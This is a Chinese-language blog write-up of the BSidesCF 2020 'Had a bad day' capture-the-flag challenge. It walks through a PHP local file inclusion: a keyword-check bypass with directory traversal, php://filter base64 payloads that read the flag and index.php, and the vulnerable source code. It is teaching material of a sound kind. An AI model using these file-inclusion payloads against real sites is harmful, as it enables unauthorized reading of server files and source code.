[BSidesCF 2020]Had a bad day1 ~~不会编程的崽

作者通过过年期间的闲暇时间,探索了一个Web应用中的安全漏洞,利用URL参数修改和include函数特性,成功读取了flag文件。文章展示了从查看源码、参数分析到最终利用的过程。
摘要由CSDN通过智能技术生成

过年给自己放假了两天。今天难得闲暇,整一题吧。先在这祝大家新年快乐呀!!!

来到界面

随便点点,发现是图片。然后web第一步,查看源码。似乎没什么发现。

观察url的参数传递,随意修改参数值。将woofers改为woofer。得到提示"仅仅包含两种动物"。

再次修改url值,将woofers修改为woofersu,得到提示使用了include函数

这里猜想,后台文件可能判断url参数里边是否包含了"woofers"这个单词。

根据"include"函数特性,可以利用跨目录包含读取flag文件。测试后需要跨越两级目录。

index.php?category=woofersu../../flag

 

没有报错,证明的确存在这个文件。但是并没有返回内容,既然是文件包含,伪协议肯定是必不可少的,尝试读取

index.php?category=php://filter/read=convert.base64-encode/resource=woofersu../../flag

 

将得到的内容进行base64解码即可。 

PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7ZmIzZDMxMTgtMTJhZC00ZjIyLThmODEtZjVlZTkyYjJmMjc4fQo/Pgo=

 

最后,读取一下index的源码,来验证以下之前的猜想,是否匹配了woofers

index.php?category=php://filter/read=convert.base64-encode/resource=woofersu../../index

读取到后进行base64解码

 <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

源码读到,的确是判断了。而且include函数里边会自动补齐".php"后缀。这也解释了为什么只需要"flag","index"就可以读取了(其实报错信息也能观察到)。最要是将源码里的".php"换成其他后缀,那又怎么读取flag呢?就需要涉及到绕过了,这里就不做解释了。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值